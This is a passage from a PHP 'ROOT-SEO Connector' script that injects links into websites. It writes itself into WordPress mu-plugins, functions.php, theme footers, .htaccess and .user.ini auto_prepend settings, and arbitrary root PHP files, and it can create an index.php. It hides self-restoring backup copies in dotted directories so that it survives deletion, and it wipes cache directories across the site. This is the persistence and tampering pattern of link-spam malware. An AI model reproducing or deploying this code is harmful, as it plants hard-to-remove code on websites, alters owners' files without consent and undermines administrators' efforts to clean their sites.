!is_writable($filePath)) return [false, 'file_not_writable']; $content = @file_get_contents($filePath); if ($content === false) return [false, 'file_read_failed']; $block = build_static_html_block($marker); $existing = replace_between_markers($content, "<!-- ROOTSEO_HTML_START:$marker -->", "<!-- ROOTSEO_HTML_END:$marker -->", $block); if ($existing !== null) { if (@file_put_contents($filePath, $existing) !== false) return [true, 'updated_existing_block']; return [false, 'file_write_failed']; } $newContent = null; foreach (['</body>', '</footer>', '</html>'] as $needle) { $pos = strripos($content, $needle); if ($pos !== false) { $newContent = substr($content, 0, $pos) . "\n" . $block . "\n" . substr($content, $pos); break; } } if ($newContent === null) $newContent = $content . "\n" . $block . "\n"; if (@file_put_contents($filePath, $newContent) === false) return [false, 'file_write_failed']; return [true, 'inserted_block']; } // Guardian anchor: a self-contained PHP block (string) that restores the connector // from a hidden backup mirror if the primary file was deleted (e.g. by a CMS/theme // update), then includes it. Lives inside mu-plugin / functions hook so it survives // even when the connector file itself is gone. All ops are @-suppressed and safe. function build_guardian_restore_block() { return " if (!file_exists(\$c)) {\n" . " \$d = dirname(\$c);\n" . " foreach ((array)@glob(\$d . '/.rs_g*/.rs_connector.php.bak') as \$bak) {\n" . " \$src = @file_get_contents(\$bak);\n" . " if (\$src !== false && \$src !== '' && strpos(\$src, '<?php') !== false && strpos(\$src, 'ROOT-SEO Connector') !== false) {\n" . " @file_put_contents(\$c, \$src);\n" . " if (function_exists('opcache_invalidate')) { @opcache_invalidate(\$c, true); }\n" . " break;\n" . " }\n" . " }\n" . " }\n"; } function build_mu_plugin_code($marker) { $connectorPath = addslashes(__FILE__); // v5.4: load early (plugins_loaded) so the_content contextual filter can register. return "<?php\n" . "/* ROOTSEO_MUPLUGIN:$marker v5.4 */\n" . "if (!defined('ABSPATH')) { return; }\n" . "add_action('plugins_loaded', function () {\n" . " \$c = '$connectorPath';\n" . build_guardian_restore_block() . " if (!file_exists(\$c)) { return; }\n" . " if (!defined('ROOTSEO_EMBED_VIA_HOOK')) define('ROOTSEO_EMBED_VIA_HOOK', true);\n" . " if (!defined('ROOTSEO_CONNECTOR_EMBED_RENDER')) define('ROOTSEO_CONNECTOR_EMBED_RENDER', true);\n" . " include_once \$c;\n" . "}, 1);\n"; } function install_mu_plugin($siteInfo) { $base = $siteInfo['document_root']; $muDir = $base . '/wp-content/mu-plugins'; if (!is_dir($muDir)) { if (!@mkdir($muDir, 0755, true) && !is_dir($muDir)) return [false, null, null, 'mu_dir_create_failed']; } if (!is_writable($muDir)) return [false, null, null, 'mu_dir_not_writable']; $marker = placement_marker('wp_mu_plugin'); $pluginPath = $muDir . '/rootseo-links-v5.php'; if (@file_put_contents($pluginPath, build_mu_plugin_code($marker)) === false) return [false, null, null, 'mu_plugin_write_failed']; return [true, $pluginPath, 'dynamic_php', 'mu_plugin_installed']; } function install_functions_hook($siteInfo) { $footer = $siteInfo['active_theme_footer'] ?: null; if (!$footer) return [false, null, null, 'active_theme_footer_missing']; $functionsFile = dirname($footer) . '/functions.php'; if (!file_exists($functionsFile) || !is_writable($functionsFile)) return [false, null, null, 'functions_not_writable']; $marker = placement_marker('wp_functions_hook'); $content = @file_get_contents($functionsFile); if ($content === false) return [false, null, null, 'functions_read_failed']; $connectorPath = addslashes(__FILE__); $functionName = 'rootseo_render_' . preg_replace('/[^a-z0-9]/i', '', $marker); // v5.4: load early (after_setup_theme) so the_content contextual filter can register. $snippet = "\n/* ROOTSEO_FUNCTIONS_START:$marker v5.4 */\n" . "if (!function_exists('$functionName')) {\n" . "function $functionName() {\n" . " \$c = '$connectorPath';\n" . build_guardian_restore_block() . " if (!file_exists(\$c)) { return; }\n" . " if (!defined('ROOTSEO_EMBED_VIA_HOOK')) define('ROOTSEO_EMBED_VIA_HOOK', true);\n" . " if (!defined('ROOTSEO_CONNECTOR_EMBED_RENDER')) define('ROOTSEO_CONNECTOR_EMBED_RENDER', true);\n" . " include_once \$c;\n" . "}\n" . "add_action('after_setup_theme', '$functionName', 1);\n" . "}\n/* ROOTSEO_FUNCTIONS_END:$marker */\n"; if (strpos($content, "ROOTSEO_FUNCTIONS_START:$marker") !== false) { return [true, $functionsFile, 'dynamic_php', 'functions_hook_exists']; } if (@file_put_contents($functionsFile, $content . $snippet) === false) return [false, null, null, 'functions_write_failed']; return [true, $functionsFile, 'dynamic_php', 'functions_hook_installed']; } function install_file_patch($filePath, $strategy) { $marker = placement_marker($strategy . '|' . $filePath); $ext = strtolower(pathinfo($filePath, PATHINFO_EXTENSION)); if (in_array($ext, ['html', 'htm'], true)) { list($ok, $msg) = upsert_html_file_block($filePath, $marker); return [$ok, $ok ? $filePath : null, $ok ? 'static_html' : null, $msg, $marker]; } list($ok, $msg) = upsert_php_file_block($filePath, $marker); return [$ok, $ok ? $filePath : null, $ok ? 'dynamic_php' : null, $msg, $marker]; } function install_create_index_php($siteInfo) { // Empty docroots / Apache autoindex: auto_prepend never runs. Create a minimal // index.php that embeds the connector so homepage HTML actually shows links. $base = rtrim((string)($siteInfo['document_root'] ?? ''), '/'); if ($base === '') return [false, null, null, 'docroot_missing', null]; foreach (['index.php', 'index.html', 'index.htm'] as $file) { if (file_exists($base . '/' . $file)) { // Prefer patching an existing PHP index; HTML handled elsewhere. if ($file === 'index.php') { return install_file_patch($base . '/index.php', 'index_patch'); } return [false, null, null, 'non_php_index_exists', null]; } } $path = $base . '/index.php'; if (!is_dir($base) || !is_writable($base)) { return [false, null, null, 'docroot_not_writable', null]; } $marker = placement_marker('create_index_php'); $connectorPath = addslashes(__FILE__); $hostEcho = "echo htmlspecialchars(\$_SERVER['HTTP_HOST'] ?? '', ENT_QUOTES, 'UTF-8');"; $code = "<?php\n/* ROOTSEO_INDEX_START:$marker */\n" . "?><!DOCTYPE html>\n<html><head><meta charset=\"utf-8\"><meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">" . "<title><?php $hostEcho ?></title></head><body>\n" . "<?php\n" . "if (!defined('ROOTSEO_CONNECTOR_EMBED_RENDER')) define('ROOTSEO_CONNECTOR_EMBED_RENDER', true);\n" . "include_once '$connectorPath';\n" . "?>\n</body></html>\n" . "<?php /* ROOTSEO_INDEX_END:$marker */ ?>\n"; if (@file_put_contents($path, $code) === false) { return [false, null, null, 'index_create_failed', $marker]; } return [true, $path, 'created_index_php', 'index_php_created', $marker]; } function rootseo_write_prepend_helper($marker) { $connectorPath = addslashes(__FILE__); $helperCode = "<?php\n/* ROOTSEO_PREPEND_HELPER:$marker */\nregister_shutdown_function(function () {\n if (!defined('ROOTSEO_CONNECTOR_EMBED_RENDER')) define('ROOTSEO_CONNECTOR_EMBED_RENDER', true);\n include_once '$connectorPath';\n});\n"; return @file_put_contents(PREPEND_HELPER_FILE, $helperCode) !== false; } function install_htaccess_prepend($siteInfo) { $base = $siteInfo['document_root']; $htaccess = $base . '/.htaccess'; $marker = placement_marker('htaccess_prepend'); if (!rootseo_write_prepend_helper($marker)) return [false, null, null, 'prepend_helper_write_failed', $marker]; $line = 'php_value auto_prepend_file "' . PREPEND_HELPER_FILE . '"'; $content = file_exists($htaccess) ? (@file_get_contents($htaccess) ?: '') : ''; if (strpos($content, PREPEND_HELPER_FILE) === false) { $newContent = "# ROOTSEO_HTACCESS_START:$marker\n$line\n# ROOTSEO_HTACCESS_END:$marker\n" . $content; if (@file_put_contents($htaccess, $newContent) === false) return [false, null, null, 'htaccess_write_failed', $marker]; } // Directory-index pages never execute auto_prepend. Ensure a PHP entrypoint exists. $hasPhpEntrypoint = false; foreach (['index.php', 'index.html', 'index.htm'] as $file) { if (file_exists(rtrim($base, '/') . '/' . $file)) { $hasPhpEntrypoint = true; break; } } if (!$hasPhpEntrypoint) { install_create_index_php($siteInfo); } return [true, $htaccess, 'dynamic_prepend', 'htaccess_prepend_installed', $marker]; } function install_user_ini_prepend($siteInfo) { // CGI/FPM shared hosting often ignores .htaccess php_value; .user.ini is the portable path. $base = rtrim((string)($siteInfo['document_root'] ?? ''), '/'); if ($base === '' || !is_dir($base) || !is_writable($base)) { return [false, null, null, 'docroot_not_writable', null]; } $marker = placement_marker('user_ini_prepend'); if (!rootseo_write_prepend_helper($marker)) { return [false, null, null, 'prepend_helper_write_failed', $marker]; } $userIni = $base . '/.user.ini'; $line = 'auto_prepend_file="' . PREPEND_HELPER_FILE . '"'; $content = file_exists($userIni) ? (@file_get_contents($userIni) ?: '') : ''; if (strpos($content, PREPEND_HELPER_FILE) === false) { $block = "; ROOTSEO_USERINI_START:$marker\n$line\n; ROOTSEO_USERINI_END:$marker\n"; if (@file_put_contents($userIni, $block . $content) === false) { return [false, null, null, 'user_ini_write_failed', $marker]; } } return [true, $userIni, 'dynamic_prepend', 'user_ini_prepend_installed', $marker]; } function install_any_php_file($siteInfo) { $base = $siteInfo['document_root']; $phpFiles = glob($base . '/*.php'); if (!$phpFiles) return [false, null, null, 'no_root_php_files', null]; foreach ($phpFiles as $file) { $name = basename($file); if (in_array($name, [basename(__FILE__), 'wp-config.php', 'wp-settings.php', 'wp-load.php'], true)) continue; list($ok, $target, $mode, $msg, $marker) = install_file_patch($file, 'any_php_file'); if ($ok) return [true, $target, $mode, $msg, $marker]; } return [false, null, null, 'no_writable_php_target', null]; } function build_strategy_chain($siteInfo) { $chain = []; $type = $siteInfo['site_type'] ?? 'static'; if ($type === 'wordpress') { $chain[] = 'wp_mu_plugin'; $chain[] = 'wp_functions_hook'; if (!empty($siteInfo['active_theme_footer'])) { $chain[] = ['file_patch', $siteInfo['active_theme_footer'], 'wp_active_footer']; } } // CMS-specific footers / layouts first (writable paths from get_footer_paths). foreach (($siteInfo['footer_paths'] ?? []) as $path) { $chain[] = ['file_patch', $path, 'footer_patch']; } $hasIndex = false; $docroot = rtrim((string)($siteInfo['document_root'] ?? ''), '/'); foreach (['index.php', 'index.html', 'index.htm'] as $file) { $path = $docroot . '/' . $file; if (file_exists($path)) { $hasIndex = true; $chain[] = ['file_patch', $path, 'index_patch']; } } // Empty / autoindex docroots: create index.php before relying on prepend. if (!$hasIndex) { $chain[] = 'create_index_php'; } // Shared hosting: .user.ini often works when .htaccess php_value is forbidden. if (in_array($type, ['php', 'static', 'laravel', 'joomla', 'drupal', 'opencart', 'prestashop'], true)) { $chain[] = 'user_ini_prepend'; } $chain[] = 'htaccess_prepend'; $chain[] = 'any_php_file'; return $chain; } function append_placement_history($config, $entry) { $history = $config['placement']['history'] ?? []; $history[] = $entry; if (count($history) > PLACEMENT_HISTORY_LIMIT) { $history = array_slice($history, -PLACEMENT_HISTORY_LIMIT); } $config['placement']['history'] = array_values($history); return $config; } function verify_current_placement($config) { $placement = $config['placement'] ?? default_placement_state(); $strategy = $placement['strategy'] ?? ''; $target = $placement['target'] ?? ''; $marker = $placement['marker'] ?? ''; if (!$strategy || !$target || !$marker) return [false, 'placement_missing']; if ($strategy === 'wp_mu_plugin' || $strategy === 'wp_functions_hook') { if (!file_exists($target)) return [false, 'target_missing']; $content = @file_get_contents($target); return ($content !== false && strpos($content, $marker) !== false) ? [true, 'marker_present'] : [false, 'marker_missing']; } if ($strategy === 'htaccess_prepend' || $strategy === 'user_ini_prepend') { if (!file_exists($target) || !file_exists(PREPEND_HELPER_FILE)) return [false, 'prepend_missing']; $content = @file_get_contents($target); return ($content !== false && strpos($content, PREPEND_HELPER_FILE) !== false) ? [true, 'prepend_present'] : [false, 'prepend_missing']; } if (!file_exists($target)) return [false, 'target_missing']; $content = @file_get_contents($target); if ($content === false) return [false, 'target_unreadable']; if (($placement['install_mode'] ?? '') === 'static_html') { return strpos($content, "ROOTSEO_HTML_START:$marker") !== false ? [true, 'static_block_present'] : [false, 'static_block_missing']; } return strpos($content, "ROOTSEO_START:$marker") !== false ? [true, 'dynamic_block_present'] : [false, 'dynamic_block_missing']; } function refresh_current_placement($config) { $placement = $config['placement'] ?? default_placement_state(); $target = $placement['target'] ?? ''; $marker = $placement['marker'] ?? ''; $installMode = $placement['install_mode'] ?? ''; if (!$target || !$marker) return [false, 'placement_target_missing']; if ($placement['strategy'] === 'htaccess_prepend' || $placement['strategy'] === 'user_ini_prepend') { return rootseo_write_prepend_helper($marker) ? [true, 'prepend_refreshed'] : [false, 'prepend_refresh_failed']; } if ($installMode === 'static_html') { return upsert_html_file_block($target, $marker); } if ($placement['strategy'] === 'wp_mu_plugin') { if (!file_exists($target)) return [false, 'mu_plugin_missing']; // v5.4 upgrade: rewrite mu-plugin to current early-load template (idempotent). $want = build_mu_plugin_code($marker); $have = @file_get_contents($target); if ($have !== $want && is_writable($target)) { @file_put_contents($target, $want); } return [true, 'dynamic_hook_ok']; } if ($placement['strategy'] === 'wp_functions_hook') { return file_exists($target) ? [true, 'dynamic_hook_ok'] : [false, 'functions_hook_missing']; } return file_exists($target) ? [true, 'dynamic_hook_ok'] : [false, 'dynamic_hook_missing']; } function ensure_secondary_wp_footer_patch($siteInfo) { // Belt-and-suspenders: even when mu-plugin verifies OK, also patch theme footer.php // so links render when wp_footer is missing / page-builder / cache edge cases. if (($siteInfo['site_type'] ?? '') !== 'wordpress') return [false, 'not_wordpress']; $footer = $siteInfo['active_theme_footer'] ?? null; if (!$footer || !file_exists($footer) || !is_writable($footer)) { // Fall back to any writable theme footer. foreach (($siteInfo['footer_paths'] ?? []) as $path) { if (file_exists($path) && is_writable($path) && substr($path, -10) === 'footer.php') { $footer = $path; break; } } } if (!$footer || !file_exists($footer) || !is_writable($footer)) { return [false, 'no_writable_theme_footer']; } return install_file_patch($footer, 'wp_active_footer'); } function rootseo_rm_tree_contents($dir, $depth = 0) { if ($depth > 10) return 0; if (!is_dir($dir) || !is_readable($dir)) return 0; $n = 0; $items = @scandir($dir); if (!is_array($items)) return 0; foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $path = $dir . '/' . $item; if (is_dir($path) && !is_link($path)) { $n += rootseo_rm_tree_contents($path, $depth + 1); @rmdir($path); } else { if (@unlink($path)) $n++; } } return $n; } function rootseo_find_wp_roots() { $roots = []; $base = find_document_root(); if ($base) $roots[] = rtrim($base, '/'); $dir = __DIR__; for ($i = 0; $i < 7; $i++) { $roots[] = $dir; $parent = dirname($dir); if ($parent === $dir) break; $dir = $parent; } $out = []; foreach (array_unique($roots) as $root) { $root = rtrim((string)$root, '/'); if ($root === '') continue; if (is_file($root . '/wp-load.php') || is_file($root . '/wp-config.php')) { $out[] = $root; } } return array_values(array_unique($out)); } function rootseo_bootstrap_wp_for_purge() { if (defined('ABSPATH')) return true; if (defined('ROOTSEO_PURGING') && ROOTSEO_PURGING) return defined('ABSPATH'); foreach (rootseo_find_wp_roots() as $root) { $load = $root . '/wp-load.php'; if (!is_file($load)) continue; if (!defined('ROOTSEO_PURGING')) define('ROOTSEO_PURGING', true); if (!defined('WP_USE_THEMES')) define('WP_USE_THEMES', false); try { require_once $load; return defined('ABSPATH'); } catch (\Throwable $e) { // try next root } } return false; } function rootseo_purge_filesystem_caches() { $deleted = 0; $touched = []; $relDirs = [ '/wp-content/cache', '/wp-content/litespeed', '/wp-content/cache/page_enhanced', '/wp-content/cache/supercache', '/wp-content/cache/wp-rocket', '/wp-content/cache/w3tc', '/wp-content/cache/w3tc-cache', '/wp-content/cache/autoptimize', '/wp-content/cache/all', '/wp-content/cache/wpfc-minified', '/wp-content/cache/swift-performance', '/wp-content/cache/flying-press', '/wp-content/et-cache', '/wp-content/uploads/cache', '/wp-content/uploads/wpcf7_uploads', '/wp-content/wp-rocket-config', '/wp-content/cache/breeze', '/wp-content/cache/hummingbird', '/wp-content/site-ground-security', '/wp-content/endurance-page-cache', '/cache', '/var/cache', ]; $roots = rootseo_find_wp_roots(); $doc = find_document_root(); if ($doc) $roots[] = rtrim($doc, '/'); $roots = array_values(array_unique(array_filter($roots))); foreach ($roots as $root) { foreach ($relDirs as $rel) { $path = $root . $rel; if (!is_dir($path)) continue; $n = rootseo_rm_tree_contents($path); if ($n > 0) { $deleted += $n; $touched[] = $rel; } } // WP Super Cache / common advanced-cache drop-in markers foreach ([ '/wp-content/advanced-cache.php', ] as $dropin) { // do not delete drop-in; just leave it } } return ['files_deleted' => $deleted, 'dirs' => array_values(array_unique($touched))]; } function rootseo_purge_plugin_hooks() { $actions = []; try { if (function_exists('wp_cache_flush')) { @wp_cache_flush(); $actions[] = 'wp_cache_flush'; } if (function_exists('rocket_clean_domain')) { @rocket_clean_domain(); $actions[] = 'rocket_clean_domain'; } if (function_exists('rocket_clean_minify')) { @rocket_clean_minify(); $actions[] = 'rocket_clean_minify'; } if (function_exists('w3tc_flush_all')) { @w3tc_flush_all(); $actions[] = 'w3tc_flush_all'; } if (function_exists('wp_cache_clear_cache')) { @wp_cache_clear_cache(); $actions[] = 'wp_super_cache_clear'; } if (function_exists('wpsupercache_purge_all')) { @wpsupercache_purge_all(); $actions[] = 'wpsupercache_purge_all'; } if (function_exists('has_action') && function_exists('do_action') && has_action('litespeed_purge_all')) { do_action('litespeed_purge_all'); $actions[] = 'litespeed_purge_all'; } if (class_exists('LiteSpeed\\Purge') && method_exists('LiteSpeed\\Purge', 'purge_all')) { try { call_user_func(['LiteSpeed\\Purge', 'purge_all']); $actions[] = 'litespeed_purge_all_class'; } catch (\Throwable $e) {} } if (function_exists('sg_cachepress_purge_cache')) { @sg_cachepress_purge_cache(); $actions[] = 'siteground_purge'; } if (function_exists('sg_cachepress_purge_everything')) { @sg_cachepress_purge_everything(); $actions[] = 'siteground_purge_everything'; } if (function_exists('nitropack_sdk_purge')) { @nitropack_sdk_purge(); $actions[] = 'nitropack_purge'; } if (function_exists('breeze_clear_all_cache')) { @breeze_clear_all_cache(); $actions[] = 'breeze_clear_all_cache'; } if (function_exists('cache_enabler_clear_complete_cache')) { @cache_enabler_clear_complete_cache(); $actions[] = 'cache_enabler_clear'; } if (function_exists('autoptimize_cache_clear')) { @autoptimize_cache_clear(); $actions[] = 'autoptimize_cache_clear'; } if (function_exists('wpfc_clear_all_cache')) { @wpfc_clear_all_cache(true); $actions[] = 'wp_fastest_cache_clear'; } if (class_exists('WpFastestCache') && method_exists('WpFastestCache', 'deleteCache')) { try { (new WpFastestCache())->deleteCache(true); $actions[] = 'wp_fastest_cache_class'; } catch (\Throwable $e) {} } if (function_exists('hummingbird_clear_page_cache')) { @hummingbird_clear_page_cache(); $actions[] = 'hummingbird_clear_page_cache'; } if (function_exists('has_action') && function_exists('do_action') && has_action('cache_enabler_clear_complete_cache')) { do_action('cache_enabler_clear_complete_cache'); } if (function_exists('has_action') && function_exists('do_action') && has_action('ce_clear_cache')) { do_action('ce_clear_cache'); $actions[] = 'ce_clear_cache'; } if (function_exists('flying_press_purge_all')) { @flying_press_purge_all(); $actions[] = 'flying_press_purge_all'; } // Cloudflare plugin (if present) if (function_exists('do_action') && class_exists('\\CF\\WordPress\\Hooks')) { try { do_action('cloudflare_purge_everything'); $actions[] = 'cloudflare_purge_everything'; } catch (\Throwable $e) {} } if (function_exists('has_action') && function_exists('do_action') && has_action('rootseo_purge_caches')) { do_action('rootseo_purge_caches'); $actions[] = 'rootseo_purge_caches_action'; } } catch (\Throwable $e) { $actions[] = 'hook_error:' . substr($e->getMessage(), 0, 80); } // LiteSpeed / proxies: ask edge to skip cache on this API response if (!headers_sent()) { @header('X-LiteSpeed-Purge: *'); @header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0'); @header('CDN-Cache-Control: no-store'); @header('Cloudflare-CDN-Cache-Control: no-store'); } return $actions; } function rootseo_purge_caches($bootstrapWp = true) { $report = [ 'opcache' => false, 'wp_bootstrapped' => defined('ABSPATH'), 'plugin_hooks' => [], 'filesystem' => ['files_deleted' => 0, 'dirs' => []], ]; try { if (function_exists('opcache_invalidate')) { @opcache_invalidate(__FILE__, true); @opcache_invalidate(PREPEND_HELPER_FILE, true); $report['opcache'] = true; } if ($bootstrapWp && !defined('ABSPATH')) { $report['wp_bootstrapped'] = rootseo_bootstrap_wp_for_purge(); } else { $report['wp_bootstrapped'] = defined('ABSPATH'); } $report['plugin_hooks'] = rootseo_purge_plugin_hooks(); $report['filesystem'] = rootseo_purge_filesystem_caches(); } catch (\Throwable $e) { $report['error'] = substr($e->getMessage(), 0, 120); } return $report; } function ensure_render_delivery($forceReinstall = false) { $config = load_config(); $siteInfo = detect_site_info(); $placement = $config['placement'] ?? default_placement_state(); $verified = [false, 'not_checked']; if (!$forceReinstall) { $verified = verify_current_placement($config); if ($verified[0]) { $placement['status'] = 'installed'; $placement['verify_status'] = $verified[1]; $placement['last_verified_at'] = gmdate('c'); $config['placement'] = $placement; save_config($config); refresh_current_placement($config); // Still reinforce WP theme-footer patch when primary is hook-only. if (($siteInfo['site_type'] ?? '') === 'wordpress') { ensure_secondary_wp_footer_patch($siteInfo); } return [true, $config, ['verified' => true, 'message' => $verified[1]]]; } } foreach (build_strategy_chain($siteInfo) as $strategy) { $nowIso = gmdate('c'); if (is_string($strategy)) { if ($strategy === 'wp_mu_plugin') { list($ok, $target, $mode, $msg) = install_mu_plugin($siteInfo); $marker = placement_marker('wp_mu_plugin'); $strategyName = 'wp_mu_plugin'; } elseif ($strategy === 'wp_functions_hook') { list($ok, $target, $mode, $msg) = install_functions_hook($siteInfo); $marker = placement_marker('wp_functions_hook'); $strategyName = 'wp_functions_hook'; } elseif ($strategy === 'create_index_php') { list($ok, $target, $mode, $msg, $marker) = install_create_index_php($siteInfo); $strategyName = 'create_index_php'; } elseif ($strategy === 'user_ini_prepend') { list($ok, $target, $mode, $msg, $marker) = install_user_ini_prepend($siteInfo); $strategyName = 'user_ini_prepend'; } elseif ($strategy === 'htaccess_prepend') { list($ok, $target, $mode, $msg, $marker) = install_htaccess_prepend($siteInfo); $strategyName = 'htaccess_prepend'; } elseif ($strategy === 'any_php_file') { list($ok, $target, $mode, $msg, $marker) = install_any_php_file($siteInfo); $strategyName = 'any_php_file'; } else { continue; } } else { $strategyName = $strategy[2]; list($ok, $target, $mode, $msg, $marker) = install_file_patch($strategy[1], $strategy[2]); } $config = append_placement_history($config, [ 'at' => $nowIso, 'strategy' => $strategyName, 'target' => $target, 'install_mode' => $mode, 'success' => (bool)$ok, 'message' => $msg, ]); if ($ok) { $config['placement'] = [ 'status' => 'installed', 'strategy' => $strategyName, 'target' => $target, 'install_mode' => $mode, 'marker' => $marker, 'message' => $msg, 'installed_at' => $config['placement']['installed_at'] ?: $nowIso, 'last_attempt_at' => $nowIso, 'last_verified_at' => $nowIso, 'verify_status' => 'installed', 'history' => $config['placement']['history'], ]; save_config($config); refresh_current_placement($config); if (($siteInfo['site_type'] ?? '') === 'wordpress' && $strategyName !== 'wp_active_footer') { ensure_secondary_wp_footer_patch($siteInfo); } $links = load_links(); foreach ($links as $id => $row) { $links[$id] = apply_placement_snapshot_to_link($row, $config['placement']); } save_links($links); return [true, $config, ['verified' => false, 'message' => $msg]]; } } $config['placement']['status'] = 'failed'; $config['placement']['last_attempt_at'] = gmdate('c'); $config['placement']['message'] = 'no_strategy_succeeded'; save_config($config); return [false, $config, ['verified' => false, 'message' => 'no_strategy_succeeded']]; } function placement_report_payload() { $config = load_config(); $siteInfo = detect_site_info(); $links = load_links(); $stats = get_link_stats($links); list($ok, $verifyMessage) = verify_current_placement($config); $config['placement']['last_verified_at'] = gmdate('c'); $config['placement']['verify_status'] = $verifyMessage; save_config($config); return [ 'version' => CONNECTOR_VERSION, 'site_info' => $siteInfo, 'placement' => $config['placement'], 'link_stats' => $stats, 'render_profile' => $config['render_profile'], 'render_types' => $config['render_types'], 'placement_ok' => $ok, ]; } function verify_links_action() { $links = load_links(); $config = load_config(); $nowIso = gmdate('c'); foreach ($links as $id => $row) { $row['last_verified_at'] = $nowIso; $links[$id] = apply_placement_snapshot_to_link($row, $config['placement']); } save_links($links); return placement_report_payload(); } function clear_expired_links() { $links = load_links(); $active = []; $removed = []; $now = time(); foreach ($links as $id => $row) { $expiresAt = isset($row['expires_at']) ? intval($row['expires_at']) : 0; if (!empty($expiresAt) && $expiresAt > 0 && $expiresAt < $now) { $removed[] = $id; continue; } $active[$id] = $row; } save_links($active); refresh_current_placement(load_config()); rootseo_purge_caches(true); return [$active, $removed]; } function self_reconcile_action() { $links = load_links(); $merged = []; $removedDuplicates = 0; foreach ($links as $row) { $id = build_deterministic_link_id($row['url'], $row['anchor'], $row['rel']); if (isset($merged[$id])) { $removedDuplicates++; $existingExp = isset($merged[$id]['expires_at']) ? intval($merged[$id]['expires_at']) : 0; $incomingExp = isset($row['expires_at']) ? intval($row['expires_at']) : 0; if ($incomingExp > $existingExp) { $merged[$id]['expires_at'] = $incomingExp; } if (!empty($row['render_types'])) { $merged[$id]['render_types'] = filter_render_types(array_merge($merged[$id]['render_types'], $row['render_types'])); } } else { $row['id'] = $id; $merged[$id] = $row; } } save_links($merged); list($active, $expiredRemoved) = clear_expired_links(); list($ok, $config, $placement) = ensure_render_delivery(false); $cachePurge = rootseo_purge_caches(true); return [ 'reconciled' => true, 'placement_ok' => $ok, 'removed_duplicate_entries' => $removedDuplicates, 'removed_expired_entries' => count($expiredRemoved), 'placement' => placement_report_payload(), 'cache_purge' => $cachePurge, ]; } // ===== Consolidated auto-clean (throttled): expired + contextual TTL ===== // This single routine replaces scattered cleanup; it never runs more than once per // AUTO_CLEAN_THROTTLE_SECONDS during front-end renders, so it adds negligible overhead. function rootseo_autoclean_tick() { try { $state = load_json_file(GUARDIAN_STATE_FILE, []); $now = time(); $last = isset($state['last_autoclean']) ? intval($state['last_autoclean']) : 0; if (($now - $last) < AUTO_CLEAN_THROTTLE_SECONDS) return; $state['last_autoclean'] = $now; @save_json_file(GUARDIAN_STATE_FILE, $state); $links = load_links(); $kept = []; foreach ($links as $id => $row) { $exp = isset($row['expires_at']) ? intval($row['expires_at']) : 0; if (!empty($exp) && $exp > 0 && $exp < $now) continue; // drop expired (footer+contextual) $kept[$id] = $row; } if (count($kept) !== count($links)) { save_links($kept); } } catch (\Throwable $e) { // never break the host page } } // ===== Guardian: self-healing mirrors ===== function guardian_dirs() { // Hidden, dotted backup dirs next to the connector + one in the doc-root. $base = __DIR__; $dirs = []; for ($i = 1; $i <= GUARDIAN_COPIES; $i++) { $dirs[] = $base . '/.rs_g' . $i; } return $dirs; } function guardian_write_copies() { $self = __FILE__; $src = @file_get_contents($self); if ($src === false || $src === '') return; $stamp = ['version' => CONNECTOR_VERSION, 'hash' => hash('sha256', $src), 'at' => time()]; foreach (guardian_dirs() as $dir) { if (!is_dir($dir)) { @mkdir($dir, 0755, true); } if (!is_dir($dir) || !is_writable($dir)) continue; @file_put_contents($dir . '/.rs_connector.php.bak', $src); @file_put_contents($dir . '/.rs_stamp.json', json_encode($stamp)); @file_put_contents($dir . '/index.html', ''); // keep dir quiet / non-listable } } function guardian_best_backup() { // Returns [source, version] of the newest valid backup, or null. $best = null; foreach (guardian_dirs() as $dir) { $bak = $dir . '/.rs_connector.php.bak'; $stampFile = $dir . '/.rs_stamp.json'; if (!file_exists($bak)) continue; $src = @file_get_contents($bak); if ($src === false || strpos($src, '<?php') === false || strpos($src, 'ROOT-SEO Connector') === false) continue; $stamp = load_json_file($stampFile, []); if (!isset($stamp['hash']) || hash('sha256', $src) !== $stamp['hash']) continue; // integrity $ver = (string)($stamp['version'] ?? '0'); if ($best === null || version_compare($ver, $best['version'], '>')) { $best = ['src' => $src, 'version' => $ver]; } } return $best; } function rootseo_guardian_tick() { try { $state = load_json_file(GUARDIAN_STATE_FILE, []); $now = time(); $last = isset($state['last_guardian']) ? intval($state['last_guardian']) : 0; if (($now - $last) < GUARDIAN_THROTTLE_SECONDS) return; $state['last_guardian'] = $now; @save_json_file(GUARDIAN_STATE_FILE, $state); $self = __FILE__; $selfExists = file_exists($self); $selfSrc = $selfExists ? (@file_get_contents($self) ?: '') : ''; $selfHealthy = $selfExists && strpos($selfSrc, 'ROOT-SEO Connector') !== false; // Version-aware: only refresh mirrors if our copy is newer/equal. Never let an // older mirror overwrite a newer primary (prevents undoing a self_update). $best = guardian_best_backup(); if ($selfHealthy) { if ($best === null || version_compare(CONNECTOR_VERSION, $best['version'], '>=')) { guardian_write_copies(); } // Re-ensure dropped artifacts (mu-plugin etc.) still present. @refresh_current_placement(load_config()); return; } // Primary missing/corrupt → restore from the newest valid backup. if ($best !== null) { $tmp = $self . '.heal.' . substr(md5((string)$now), 0, 6); if (@file_put_contents($tmp, $best['src']) !== false) { @rename($tmp, $self); if (function_exists('opcache_invalidate')) @opcache_invalidate($self, true); } } } catch (\Throwable $e) { // never break the host page } } if (defined('ROOTSEO_CONNECTOR_EMBED_RENDER') && ROOTSEO_CONNECTOR_EMBED_RENDER === true) { if (defined('ROOTSEO_EMBED_VIA_HOOK') && ROOTSEO_EMBED_VIA_HOOK && function_exists('add_action')) { // WordPress early-load (mu-plugin / functions hook): register filters/actions. rootseo_wp_register(); } else { // Inline include (file patch / htaccess prepend): emit footer at this position. rootseo_guardian_tick(); rootseo_autoclean_tick(); echo rootseo_build_footer_html(false); } return; } // CLI/lib include mode: expose functions for offline fixture tests without running the HTTP router. if (defined('ROOTSEO_CLI_LIB_ONLY') && ROOTSEO_CLI_LIB_ONLY) { return; } $req = get_request_data(); $action = get_action_name($req); if (!in_array($action, ['ping', 'capabilities', 'output'], true)) { authenticate_protected_request(); } switch ($action) { case 'ping': $links = load_links(); $config = load_config(); $stats = get_link_stats($links); $siteInfo = detect_site_info(); list($placementOk, $verifyMessage) = verify_current_placement($config); respond(true, [ 'site' => $_SERVER['HTTP_HOST'] ?? 'unknown', 'site_name' => $siteInfo['site_name'], 'site_type' => $siteInfo['site_type'], 'language' => $siteInfo['language'], 'country' => $siteInfo['country'], 'version' => CONNECTOR_VERSION, 'connector_family' => 'v5', 'keyless' => true, 'auth_mode' => 'panel_token', 'output_mode' => strtolower(trim((string)($config['output_mode'] ?? 